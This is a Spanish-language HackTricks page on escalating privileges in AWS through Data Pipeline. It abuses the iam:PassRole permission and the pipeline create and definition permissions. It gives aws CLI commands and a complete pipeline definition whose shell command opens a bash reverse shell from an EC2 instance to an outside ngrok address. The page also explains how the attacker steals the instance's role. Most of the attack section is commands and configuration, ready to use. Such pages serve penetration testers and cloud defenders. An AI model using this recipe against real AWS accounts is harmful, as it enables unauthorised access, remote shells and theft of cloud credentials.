AWS - Datapipeline Privesc

Support HackTricks

datapipeline

Para más información sobre datapipeline, consulta:

AWS - DataPipeline, CodePipeline & CodeCommit Enum

iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

Los usuarios con estos permisos pueden escalar privilegios creando un Data Pipeline para ejecutar comandos arbitrarios utilizando los permisos del rol asignado:

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

Después de la creación del pipeline, el atacante actualiza su definición para dictar acciones específicas o creaciones de recursos:

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

Tenga en cuenta que el rol en la línea 14, 15 y 27 necesita ser un rol asumible por datapipeline.amazonaws.com y el rol en la línea 28 necesita ser un rol asumible por ec2.amazonaws.com con un perfil de instancia EC2.

Además, la instancia EC2 solo tendrá acceso al rol asumible por la instancia EC2 (por lo que solo puede robar ese).

aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json

El archivo de definición de pipeline, elaborado por el atacante, incluye directivas para ejecutar comandos o crear recursos a través de la API de AWS, aprovechando los permisos de rol del Data Pipeline para potencialmente obtener privilegios adicionales.

Impacto Potencial: Privesc directo al rol de servicio ec2 especificado.

Referencias

Support HackTricks

Last updated